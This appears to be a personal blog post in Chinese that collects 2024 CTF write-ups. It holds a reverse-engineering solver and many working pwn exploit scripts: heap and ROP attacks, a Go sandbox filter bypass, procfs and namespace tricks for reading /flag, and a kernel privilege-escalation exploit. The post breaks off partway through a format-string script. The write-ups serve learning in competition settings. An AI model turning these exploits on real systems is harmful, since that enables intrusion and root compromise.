My CTF Writeups in 2024

2024年打过的那些CTF

持续更新中……

2024 CTF Writeups

目录

  • CTF SHOW 2024 新年水友赛 WriteUp
  • N1CTF Junior 2024 Pwn Writeup
  • ichunqiu 冬季赛
  • miniL CTF 2023
  • N1CTF Junior 2023 Pwn Writeup
  • 持续更新中…

CTF SHOW 2024 新年水友赛 WriteUp

娱乐赛,附件直接去CTFSHOW找。

Re-WarmUp

直接爆

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <string.h>

int main() {
    unsigned char encrypted[] = {
        0x9C, 0xCC, 0x88, 0x76, 0xD7, 0x89, 0x78, 0xEC, 
        0x7C, 0xD7, 0x89, 0x71, 0xE3, 0x6D, 0x98, 0x17, 
        0x94, 0x0F, 0xCA, 0x9F, 0x7E, 0xD9, 0xA0, 0x8A, 
        0x79, 0xD1, 0x80, 0x77
    };
    int new=0;
    int v5=0;
    unsigned int v6;
    for (int i=0;i<sizeof(encrypted);i++) {
        for (int j=32;j<=127;j++) {
            v6=0xa051+2024+v5;
            if ((unsigned char)(j+v6)==encrypted[i]) {
                printf("%c",j);
                v5=(v6>>4)^(encrypted[i]);
                break;
            }
        }
    }
}

Re-cpp

第一眼上去疑似机翻,先丢chatgpt。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
#include <iostream>
#include <cstdlib>
#include <cstring>
#include <string>
#include <chrono>
#include <ostream>
#include <vector>

typedef unsigned short ushort;

#define Wan * 10000 +
#define Qian * 1000 +
#define Bai * 100 +
#define Shi * 10 +

#define Yi 1
#define Er 2
#define San 3
#define Si 4
#define Wu 5
#define Liu 6
#define Qi 7
#define Ba 8
#define Jiu 9
#define Ling 0

struct Group
{
    ushort peace, love, mail[65536];
};

using namespace std;

class SuperEncryption
{
private:
    Group fitnessBag;
    string key;
    ushort superNum;

public:
    void chandelier(const char *nerve, ushort evil)
    {
        this->key = string(nerve);
        this->superNum = evil;
    }
    void encryptAPlan(vector<ushort> &clear)
    {
        int length = key.length();
        int i, you, he, she;
        ushort *mail;
        fitnessBag.peace = 0;
        fitnessBag.love = 0;
        mail = fitnessBag.mail;

        for (i = 0; i < 65536; i++)
        {
            mail[i] = i;
        }

        you = he = 0;

        for (i = 0; i < 65536; i++)
        {
            she = mail[i];
            you = (ushort)(you + she + key[he]);
            mail[i] = mail[you];
            mail[you] = she;
            if (++he >= length)
                he = 0;
        }
    }
    void encryptBPlan(vector<ushort> &clear)
    {
        int i, peace, love, she, it;
        ushort *mail;
        peace = fitnessBag.peace;
        love = fitnessBag.love;
        mail = fitnessBag.mail;
        size_t length = clear.size();
        for (i = 0; i < length; i++)
        {
            peace = (ushort)(peace + 1);
            she = mail[peace];
            love = (ushort)(love + she);
            mail[peace] = it = mail[love];
            mail[love] = she;
            clear.at(i) += mail[(ushort)(she + it)];
        }

        fitnessBag.peace = peace;
        fitnessBag.love = love;
    }
    void encryptCPlan(vector<ushort> &clear)
    {
        size_t length = clear.size();
        for (int i = 0; i < length; i++)
        {
            ushort resource = 0;
            ushort she = clear.at(i);
            ushort it = this->superNum;
            while (it)
            {
                if (it & 1)
                    resource = (resource + she);
                she = (she + she);
                it = it / 2;
            }
            clear.at(i) = resource;
        }
    }
};

const ushort answer[] = {
    Yi Wan San Qian Liu Bai Liu Shi Ba,
    Yi Wan Si Qian Liu Bai Si Shi Si,
    Er Wan Qi Qian Ba Bai Er Shi San,
    Qi Qian Yi Bai Yi Shi Er,
    Liu Wan San Qian Ling Bai San Shi Si,
    Si Qian Er Bai Liu Shi Jiu,
    Liu Wan Si Qian Ba Bai Jiu Shi Qi,
    Si Wan Yi Qian Ling Bai Ling Shi Si,
    San Wan Wu Qian Ba Bai Liu Shi Si,
    Yi Wan Si Qian Si Bai Si Shi Qi,
    San Wan Jiu Qian Er Bai Si Shi Yi,
    Wu Wan Qi Qian San Bai Ba Shi Liu,
    Yi Wan Liu Qian Qi Bai Er Shi San,
    Ba Qian Ling Bai Liu Shi Ba,
    Er Wan Qi Qian Ling Bai Yi Shi Er,
    Si Wan Yi Qian Er Bai Ba Shi Jiu,
    Yi Wan Jiu Qian Wu Bai Er Shi Liu,
    Si Wan Jiu Qian Jiu Bai San Shi Qi,
    San Wan San Qian Ling Bai Liu Shi Si,
    Wu Wan Ba Qian Er Bai Qi Shi Wu
};
const char *errors[] = {
     "EDSTADDRREQ",
     "ECONNREFUSED",
     "ECONNRESET",
     "ENOBUFS",
     "EAFNOSUPPORT",
     "ETIMEDOUT",
     "EILSEQ",
     "ERESTART",
     "EAFNOSUPPORT",
     "ETIMEDOUT",
     "EALREADY",
     "ESHUTDOWN",
     "EAFNOSUPPORT",
     "ESTALE",
     "ENETUNREACH",
     "EDOTDOT",
     "ESTALE",
     "EIDRM",
     "0"};

int main()
{
    string inputFlag;
    cout << "Enter your flag here: " << endl;
    cin >> inputFlag;
    ushort formattedFlag[64] = {0};
    memcpy(formattedFlag, inputFlag.c_str(), inputFlag.size());
    vector<ushort> plainFlag;
    int count = 0;
    while (true)
    {
        if (formattedFlag[count] == 0)
        {
            break;
        }
        plainFlag.push_back(formattedFlag[count]);
        count += 1;
    }
    SuperEncryption beef;
    beef.chandelier(errors, 0x1337);
    beef.encryptAPlan(plainFlag);
    beef.encryptBPlan(plainFlag);
    beef.encryptCPlan(plainFlag);
    try
    {
        for (int i = 0; i < max(plainFlag.size(), sizeof(answer) / sizeof(answer[0])); i++)
        {
            if (plainFlag.at(i) != answer[i])
            {
                throw runtime_error("Wrong answer");
            }
        }
    }
    catch(exception &e)
    {
        cout << "Check failed!" << endl;
        exit(EXIT_FAILURE);
    }
    cout << "Check accepted!" << endl;
    exit(EXIT_SUCCESS);
}

大部分逻辑就都出来了。

errors是用宏写的字符串,gpt出了大部分,剩下的丢进谷歌翻译,根据读音试,然后看着已经确定的部分猜。最终确定key是YouCanTranslateIt!

加密过程可以分为两部分,C部分是针对ushort数组每个元素单独的操作,可以正向爆破。

A部分是对B部分参数的初始化,B部分只涉及到对元素做加操作,可以push_back 20个0进去,再用C过程爆破得到的数组对应相减,把字符串提出来就行了。

btw,永远不要用gpt做数学计算!!!

最开始我犯懒,用gpt做汉字数字到hex的转换,结果他转换的结果就钱粮个是对的,我还头疼了好久为啥flag出不来。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void decryptCPlan() {
    for (int i=0;i<20;i++) {
        for (unsigned int j=0;j<=0xffff;j++) {
            ushort resource = 0;
            ushort it = 0x1337;
            ushort cpy_j=j;
            //if (j%0x1000==0) cout<<j<<endl;
            while (it) {
                if (it&1) resource = (resource+cpy_j);
                cpy_j=(cpy_j+cpy_j);
                it=it/2;
            }
            if (resource==answer[i]) {
                cout<<"0x"<<hex<<j<<","<<endl;
                break;
            }
        }
    }
}
void testenc() {
    vector<ushort> plainFlag;
    for (int i = 0; i < 20; i++) {
        plainFlag.push_back(0);
    }
    SuperEncryption beef;
    beef.chandelier("YouCanTranslateIt!", 0x1337);
    beef.encryptAPlan(plainFlag);
    beef.encryptBPlan(plainFlag);
    ushort test[20];
    for (int i = 0; i < 20; i++) {
        test[i] = beforec[i] - plainFlag.at(i);
    }
    char buf[100];
    memcpy(buf, test, 40);
    cout << endl;
    for (int i = 0; i < 40; i++) {
        if (buf[i] >= 32 && buf[i] <= 128) {
            cout << buf[i];
        }
        else {
            cout << "?";
        }
    }
    cout << endl;
}

Pwn-BadBoy-2

got黄的,最后有个puts(buf),考虑改got。

结尾有一个以栈上变量为base的前向任意地址写3byte,成了。

开头的两次泄露,6byte漏个栈出来,3byte漏个libc低位出来

算一下就行了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=process("./BadBoy-2")
elf=ELF("./BadBoy-2")
libc=ELF("./libc.so")
s=remote("pwn.challenge.ctf.show",28279)

s.sendlineafter(b"i am bad boy \n",b"40")
stack=u64(s.recv(6).ljust(8,b"\x00"))-(0x7ffcf7292898-0x7ffcf72927a0)
success(hex(stack))

s.sendlineafter(b"i am bad boy \n",b"24")
addr=u64(s.recv(3).ljust(8,b"\x00"))-231-libc.sym.__libc_start_main
success(hex(addr))

s.sendlineafter(b"girl ",b"$0\x00")

s.sendlineafter(b"me? ",str(elf.got.puts-stack))
s.sendafter(b"Ha ",p64(addr+libc.sym.system))

s.interactive()

Pwn-s.s.a.l

预期解应该是算一个种子出来,正好是/bin/sh,然后直接走syscall。

不过栈溢出都给你了你迁移一下打csu不就得了,自己动手丰衣足食。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=process("./s.s.a.l")
s=remote("pwn.challenge.ctf.show",28156)
elf=ELF("./s.s.a.l")
rsi_rdi=0x0000000000400831
ret=rsi_rdi+2
rsp=0x000000000040095d
pread=0x4008d2
csu1=0x40095A
csu2=0x400940
syscall=0x400760
rax=0x0000000000400668

s.send(b"c"*0x40+p64(rsp)+p64(0x601200-0x18))
s.sendline(b"1")
pause()
s.send((b"a"*0x1e+flat([
    rsi_rdi,0x601200,0,
    pread,
])).ljust(0x58,b"b"))

s.send(flat([
    csu1,0,1,elf.got.read,0,0x601200,0x1000,
    csu2,
]))
pause()
s.send(flat([
    syscall,b"/bin/sh\x00",ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,ret,
    rax,0x3b,
    csu1,0,1,0x601200,0x601208,0,0,
    csu2,
]))

s.interactive()

Pwn-Heap_Harmony_Festivity & happy_new_year

large bin attack 打 _IO_list_all 打 house of apple 2

两个题主程序相同,libc版本一个27一个31,结构体不太一样,需要调一下偏移。

happy_new_year exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process('./pwn03')
s=remote("pwn.challenge.ctf.show",28122)
libc=ELF("./libc-2.27.so")

def menu(ch):
    s.sendlineafter(b"\xc2\xa5"*5,str(ch).encode())

def add(idx,sz):
    menu(1)
    s.sendlineafter(b"index:\n",str(idx).encode())
    s.sendlineafter(b"Size:\n",str(sz).encode())

def show(idx):
    menu(2)
    s.sendlineafter(b"index:\n",str(idx).encode())
    s.recvuntil(b"context: \n")
    return s.recvline()[:-1]

def edit(idx,cont):
    menu(3)
    s.sendlineafter(b"index:\n",str(idx).encode())
    s.sendafter(b"context: \n",cont)

def delete(idx):
    menu(4)
    s.sendlineafter(b"index:\n",str(idx).encode())

if __name__=="__main__":
    pause()
    add(0,0x430)
    add(1,0x88)
    add(2,0x88)
    delete(0)
    delete(2)
    delete(1)
    libc.address=u64(show(0).ljust(8,b"\x00"))-(0x7fa0ec06aca0-0x7fa0ebc7f000)
    heap_base=u64(show(1).ljust(8,b"\x00"))&(~0xfff)
    success("libc_base ==> "+hex(libc.address))
    success("heap_base ==> "+hex(heap_base))
    add(0,0x430)

    add(0,0x430)
    add(1,0x88)
    add(2,0x440)
    add(3,0x88)
    delete(0)
    add(4,0x500)
    delete(2)
    edit(0,flat([
        0,libc.sym._IO_list_all-0x10,
        0,libc.sym._IO_list_all-0x20,
    ]))
    add(5,0x500)
    edit(0,flat([
        libc.address+0x3ec0a0,libc.address+0x3ec0a0,
        heap_base+0x7b0,heap_base+0x7b0,
    ]))
    edit(2,flat([
        libc.address+0x3ec0a0,libc.address+0x3ec0a0,
        heap_base+0x7b0,heap_base+0x7b0,
    ]))
    add(6,0x430)
    edit(1,b"a"*0x80+b"  sh\0\0\0\0")
    edit(2,flat({
        0x18:1,
        0xa0-0x10:heap_base+0x1170,
        0xd8-0x10:libc.sym._IO_wfile_jumps,
    },filler=b"\x00"))
    edit(4,flat({
        0x18:0,
        0x30:0,
        0x130:heap_base+0x1270,
        0x168:libc.sym.system,
    },filler=b"\x00"))

    s.interactive()

Heap_Harmony_Festivity exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process('./pwn04')
s=remote("pwn.challenge.ctf.show",28235)
libc=ELF("./libc.so")

def menu(ch):
    s.sendlineafter(b"\xc2\xa5"*5,str(ch).encode())

def add(idx,sz):
    menu(1)
    s.sendlineafter(b"index:\n",str(idx).encode())
    s.sendlineafter(b"Size:\n",str(sz).encode())

def show(idx):
    menu(2)
    s.sendlineafter(b"index:\n",str(idx).encode())
    s.recvuntil(b"context: \n")
    return s.recvline()[:-1]

def edit(idx,cont):
    menu(3)
    s.sendlineafter(b"index:\n",str(idx).encode())
    s.sendafter(b"context: \n",cont)

def delete(idx):
    menu(4)
    s.sendlineafter(b"index:\n",str(idx).encode())

if __name__=="__main__":
    pause()
    add(0,0x430)
    add(1,0x88)
    add(2,0x88)
    delete(0)
    delete(2)
    delete(1)
    libc.address=u64(show(0).ljust(8,b"\x00"))-(0x7efe1786cbe0-0x7efe17680000)+0x1000
    heap_base=u64(show(1).ljust(8,b"\x00"))&(~0xfff)
    success("libc_base ==> "+hex(libc.address))
    success("heap_base ==> "+hex(heap_base))
    
    add(0,0x430)

    add(0,0x450)
    add(1,0x88)
    add(2,0x440)
    add(3,0x88)
    delete(0)
    add(4,0x500)
    delete(2)
    edit(0,flat([
        0,0,
        0,libc.sym._IO_list_all-0x20,
    ]))
    #0x440-0x470: 0x55fabbe977f0 —▸ 0x55fabbe97ce0 —▸ 0x7f367106ffe0 ◂— 0x55fabbe977f0
    add(5,0x500)
    edit(0,flat([
        heap_base+0xce0,libc.address+0x1ebfe0,
        heap_base+0x7f0,heap_base+0x7f0,
    ]))
    edit(2,flat([
        libc.address+0x1ebfe0,heap_base+0x7f0,
        heap_base+0xce0,heap_base+0xce0,
    ]))
    add(6,0x450)
    add(6,0x440)
    pause()

    edit(1,b"a"*0x80+b"  sh\0\0\0\0")
    edit(2,flat({
        0x18:1,
        0xa0-0x10:heap_base+0x11d0,
        0xd8-0x10:libc.sym._IO_wfile_jumps,
    },filler=b"\x00"))
    edit(4,flat({
        0x18:0,
        0x30:0,
        0xe0:heap_base+0x12d0,
        0x168:libc.sym.system,
    },filler=b"\x00"))

    s.interactive()

Pwn-yes_or_no

控一下r12打ogg,爆破返回地址,概率1/4096。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context(arch='amd64', os='linux', log_level='info')
#s=process("./pwn")
s=remote("pwn.challenge.ctf.show",28213)
#elf=ELF("./pwn")
#libc=ELF("./libc-2.31.so")

r12=0x0000000000401176
r15=0x0000000000401179
rbp=0x000000000040110d
rdi=0x000000000040117a
rsp=0x0000000000401177
#pause()
while 1:
    #pause()
    s.send(flat([
        b"A"*0x20,
        0,
        r12,0,
        b"\x2e\x3b\x0e"
    ]))
    sleep(0.01)
    try:
        s.sendline(b"cat flag")
        dat=s.recv()
        if b"timeout" in dat:
            raise EOFError
        if b"smash" in dat:
            raise EOFError
        print(dat)
        s.interactive()
    except EOFError:
        s.close()
        #s=process("./pwn")
        s=remote("pwn.challenge.ctf.show",28213)

Pwn-escape go box

字符串拼接绕过关键词过滤,用syscall.Exec做任意命令执行。

最后发现目录有点长,在根目录做了一个软连接。

1
2
3
4
5
6
7
8
package main
import "syscall"

func main(){syscall.Exec("/bin/ls",[]string{"ls","-alh","/"},nil)}

func main(){c:="/bin/ca"+"t";syscall.Exec(c,[]string{c,"/a/.fl11aaG.go"},nil)}

func main(){syscall.Exec("/bin/ln",[]string{"ln","-s","/home/ctf","/a"},nil)}

然后发现他过滤了exec没过滤Exec,不知道我这个算不算非预期。

N1CTF Junior 2024 Pwn Writeup

今年确实简单,但没发力,血亏。

附件分流:here

file-manager

strcpy会把字符串末尾置0,数据结构还是bss->heap->data这种,参考今年NCTF2024里nception第一种非预期的风水手段即可,任意读写就有了。

这边选择打栈。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
import sys
context(arch='amd64', os='linux', log_level='debug')
if sys.argv[1]=="l":
    s=process("./pwn")
    libc=ELF("./libc.so")
elif sys.argv[1]=="r":
    s=remote("121.199.64.23",43069)
    libc=ELF("./libc.so")


def add(name):
    s.sendlineafter(b">",b"touch "+name)

def show(name):
    s.sendlineafter(b">",b"cat "+name)

def delete(name):
    s.sendlineafter(b">",b"remove "+name)

def edit(name,content):
    s.sendlineafter(b">",b"vi "+name)
    s.sendline(content)

def ls():
    s.sendlineafter(b">",b"ls")

if __name__=="__main__":
    add(b"a"*0x10)
    add(b"b"*0x10)
    edit(b"b"*0x10,b"b"*0xf+b"\x00\x10")
    show(b"b"*0xf)
    heap_base=u64(s.recvline()[:-1].ljust(8,b"\x00"))-0x310
    success(hex(heap_base))
    edit(b"b"*0xf,p64(heap_base+0x2a0))
    edit(b"b"*0xf,b"a"*0xf+b"\x00"+p64(heap_base+0x3c0))
    add(b"c"*0xf)
    edit(b"c"*0xf,b"/flag\x00".rjust(0x430,b"a"))
    add(b"d"*0xf)
    delete(b"c"*0xf)
    show(b"a"*0xf)
    libc.address=u64(s.recvline()[:-1].ljust(8,b"\x00"))-(0x7faedf93fce0-0x7faedf726000)-0x1000
    success(hex(libc.address))

    edit(b"b"*0xf,b"a"*0xf+b"\x00"+p64(libc.sym.environ))
    show(b"a"*0xf)
    stack=u64(s.recvline()[:-1].ljust(8,b"\x00"))
    success(hex(stack))
    pause()

    ropp=ROP(libc)
    rdi=ropp.find_gadget(['pop rdi','ret'])[0]
    rsi=ropp.find_gadget(['pop rsi','ret'])[0]
    rdx_rbx=ropp.find_gadget(['pop rdx',"pop rbx",'ret'])[0]

    edit(b"a"*0xf,b"a"*0x400)
    p=flat([
        rdi,heap_base+0x7ea,rsi,0,rdx_rbx,0,0,libc.sym.open,
        rdi,3,rsi,heap_base+0x3000,rdx_rbx,0x100,0,libc.sym.read,
        rdi,1,libc.sym.write,
    ])
    target=stack-0x7ffc499d67f8+0x7ffc499d6618
    edit(b"b"*0xf,b"a"*0xf+b"\x00"+p64(target))
    pause()
    edit(b"a"*0xf,p)
    s.interactive()

朝闻道 & 九万里

朝闻道

赛中给出了提示:procfs,以及没有限制打开文件路径首位为/的思路。

  • 首先chdir("/work")
  • 然后经过一番神奇的操作,work目录下出现了一个跟/flag内容相同但inode号不同的文件/work/bin
  • 最后open("./bin")/work/bin/bininode号不同,成功打开并读取flag。

研读一下提示,这种打法成立的根本原因在于:fork出来的进程与父进程根目录不同(fork出来的这个chdir了),读取到的bin不同,最终的inode号不同。

随手试一试,第二步中的这个神奇的操作基本可以确定为软链接,使用symlink系统调用。

在procfs里随便转转就能看到有一个叫root的东西,会随着chroot改变,但最后没打通。

再随便看看,有个叫cwd的东西,会随着chdir改变,最后用这个出了。

核心代码:

1
2
3
symlink("/flag","/work/bin");
chdir("/work");
open("/proc/self/cwd/bin");

九万里

有句话说得好,只有菜鸟用linux才不用root

这个人由于常年root,strace unshare的时候没看出来低权限时候才有的东西。

盲猜挂个tmpfs上去,然后退化为第一问。

然后九万里最后给出了提示:unshare -mfr

切换到低权限用户之后strace之,可以看到如下内容。

抄之。这里的顺序还不能换(

核心代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
fd=open("/proc/self/uid_map",O_WRONLY);
write(fd,"0 1000 1\n",8);
close(fd);

fd=open("/proc/self/setgroups",O_WRONLY);
write(fd,"deny",4);
close(fd);

fd=open("/proc/self/gid_map",O_WRONLY);
write(fd,"0 1000 1\n",8);
close(fd);

mount("none", "/", NULL, MS_REC|MS_PRIVATE, NULL);
mount("tmpfs","/root","tmpfs",0,"size=1M");

symlink("/flag","/root/bin");
chdir("/root");
open("/proc/self/cwd/bin");

好神奇,得恶补linux基础了。

LiesofP

妈蛋好久不摸kernel手是真的生。

幸好操作的不是byte是dword,要不然0x10个byte打个屁的ROP。

把内核的返回地址(而不是lkms的)加到reg[0]位就可以泄露kernel_base,剩下的就随便玩了。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>

#include "kernelpwn.h"
size_t magic=0x266287;
size_t prepare_kernel_cred_offset=0x98590;
size_t commit_creds_offset=0x982f0;
size_t init_cred_offset=0x18519e0;
size_t swapgs_orig=0xe000dc;
size_t swapgs_offset=0xe00f10;
size_t orig_ret_off = 0x23fc05;
size_t pop_rdi_off   = 0x82d6d;
#define LIES_WORK 0x20241337
#define CMD_SZ 0x10
#define DATA_SZ 0x40

enum lies_opcodes
{
    LIES_ADD,
    LIES_SUB,
    LIES_MUL,
    LIES_AND,
    LIES_OR,
    LIES_XOR,
};

struct cmd
{
    uint8_t opcode;
    uint8_t src;
    uint8_t dst;
    uint8_t unused;
} __attribute__((packed));

struct ioctl_arg
{
    char *cmd;
    char *data;
} work_arg;

char dev_path[] = "/dev/lies";
int fd;
struct cmd cmds[CMD_SZ] = {};
unsigned int regs[DATA_SZ] = {};


void pad_out(
    unsigned int start,
    struct cmd* cmd,
    unsigned int* regs) {
    for (int i=start;i<CMD_SZ;i++) {
        cmd[i].opcode=LIES_AND;
        cmd[i].src=0x40-1;
        cmd[i].dst=0;
        regs[0x40-1]=0xffffffff;
    }
}

int main() {
    int fd=open(dev_path, O_RDWR);
    if (fd<0) {
        perror("open");
        return 1;
    }

    size_t ret1,ret2,i=0xc;
    memset(cmds,0,sizeof(cmds));
    memset(regs,0,sizeof(regs));
    cmds[0].opcode=LIES_ADD;
    cmds[0].src=0x4c;
    cmds[0].dst=0;
    pad_out(1,cmds,regs);
    work_arg.cmd = cmds;
    work_arg.data = regs;
    ret1=ioctl(fd, LIES_WORK, &work_arg);

    memset(cmds,0,sizeof(cmds));
    memset(regs,0,sizeof(regs));
    cmds[0].opcode=LIES_ADD;
    cmds[0].src=0x4d;
    cmds[0].dst=0;
    pad_out(1,cmds,regs);
    work_arg.cmd = cmds;
    work_arg.data = regs;
    ret2=ioctl(fd, LIES_WORK, &work_arg);

    size_t kernel_base=0;
    kernel_base=(ret2<<32)+ret1-orig_ret_off+0x100000000;
    printf("leak: 0x%08x%08x\n",ret2,ret1);
    printf("kernel_base: 0x%lx\n",kernel_base);

    memset(cmds,0,sizeof(cmds));
    memset(regs,0,sizeof(regs));
    regs[0]=orig_ret_off-pop_rdi_off;
    cmds[0].opcode=LIES_SUB;
    cmds[0].src=0;
    cmds[0].dst=0x4c;
    
    regs[1]=(kernel_base+init_cred_offset)&0xffffffff;
    cmds[1].opcode=LIES_ADD;
    cmds[1].src=1;
    cmds[1].dst=0x4e;

    regs[2]=(kernel_base+init_cred_offset)>>32;
    cmds[2].opcode=LIES_ADD;
    cmds[2].src=2;
    cmds[2].dst=0x4f;

    regs[3]=0;
    cmds[3].opcode=LIES_AND;
    cmds[3].src=3;
    cmds[3].dst=0x50;
    
    regs[4]=0;
    cmds[4].opcode=LIES_AND;
    cmds[4].src=4;
    cmds[4].dst=0x51;

    regs[5]=(kernel_base+commit_creds_offset)&0xffffffff;
    cmds[5].opcode=LIES_ADD;
    cmds[5].src=5;
    cmds[5].dst=0x50;

    regs[6]=(kernel_base+commit_creds_offset)>>32;
    cmds[6].opcode=LIES_ADD;
    cmds[6].src=6;
    cmds[6].dst=0x51;

    regs[7]=0;
    cmds[7].opcode=LIES_AND;
    cmds[7].src=7;
    cmds[7].dst=0x52;

    regs[8]=0;
    cmds[8].opcode=LIES_AND;
    cmds[8].src=8;
    cmds[8].dst=0x53;

    regs[9]=(kernel_base+magic)&0xffffffff;
    cmds[9].opcode=LIES_ADD;
    cmds[9].src=9;
    cmds[9].dst=0x52;

    regs[10]=(kernel_base+magic)>>32;
    cmds[10].opcode=LIES_ADD;
    cmds[10].src=10;
    cmds[10].dst=0x53;

    regs[11]=swapgs_offset-swapgs_orig;
    cmds[11].opcode=LIES_ADD;
    cmds[11].src=11;
    cmds[11].dst=0x5e;

    pad_out(12,cmds,regs);
    work_arg.cmd = cmds;
    work_arg.data = regs;
    
    ioctl(fd, LIES_WORK, &work_arg);
    get_root_shell();
    return 0;
}

RingofM

中间给了洞是fmt,看了一眼就在show那边,绕一个flag就行。但是赛中不想逆就没打。

把结构体逻辑都逆出来之后就是送。

至于入队过程中的检查,只要第一次别搞%$这种花活,填满一轮之后后面那个checker就不会再查了。

如图,显然0x1和0x11是同一个位置,且没有清空flag,只覆盖了ptr。

先写0x10个然后释放掉,之后就随便玩了。

绕过flags之后就是常规bssfmt,掏出个人武器库自己写好的脚本随便打。

这个脚本大概率是没有patch掉libc的(本地wsl-debian12),不过核心思路都给了,且静态编译,应该不会影响栈环境吧(

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
context(arch="amd64", os="linux", log_level="debug")
s=process("./pwn")
elf=ELF("./pwn")

def menu(ch):
    s.sendlineafter(b">> ",str(ch).encode())

def add(content):
    menu(1)
    s.sendlineafter(b"value: ",content)

def pop():
    menu(2)

def popall():
    menu(3)

def init():
    for i in range(16):
        add(b"a")
    popall()

def fmtstring(prev,word,index):
    if word==prev:
        result=0
        fmtstr=""
    elif word==0:
        result=256-prev
        fmtstr=f"%{result}c"
    elif prev<word:
        result=word-prev
        fmtstr=f"%{result}c"
    elif prev>word:
        result=256-prev+word
        fmtstr=f"%{result}c"
    fmtstr+=f"%{index}$hhn"
    return [fmtstr.encode(),result]

def send_fmt(content):
    s.sendlineafter(b">> ",b"1")
    s.sendlineafter(b"value: ",content+b".")
    s.sendlineafter(b">> ",b"2")
    return s.recvuntil(b".")[:-1]
def bssfmt(arg1_val,arg1_off,rop_addr,rop_content):
    # pre check & length set
    if len(rop_addr)!=len(rop_content):
        print("list length not equal")
        exit(-1)
    len_rop=len(rop_addr)
    
    # retrieve full ptr chain
    # use off1 set arg2 lowest byte zero, 16 bytes alligned
    # use off2 clear arg3
    arg2_val=eval(send_fmt(f"%{arg1_off}$p".encode()))
    arg2_off=int((arg2_val-arg1_val)/8+arg1_off)
    send_fmt(f"%{arg1_off}$hhn".encode())
    arg3_val=eval(send_fmt(f"%{arg2_off}$p".encode()))
    arg3_off=int((arg3_val-arg1_val)/8+arg1_off)
    send_fmt(f"%{arg2_off}$lln".encode())
    success(f"chain: {hex(arg1_val)}->{hex(arg2_val)}->{hex(arg3_val)}")
    # start rop chain deploy
    rop_ptr=0
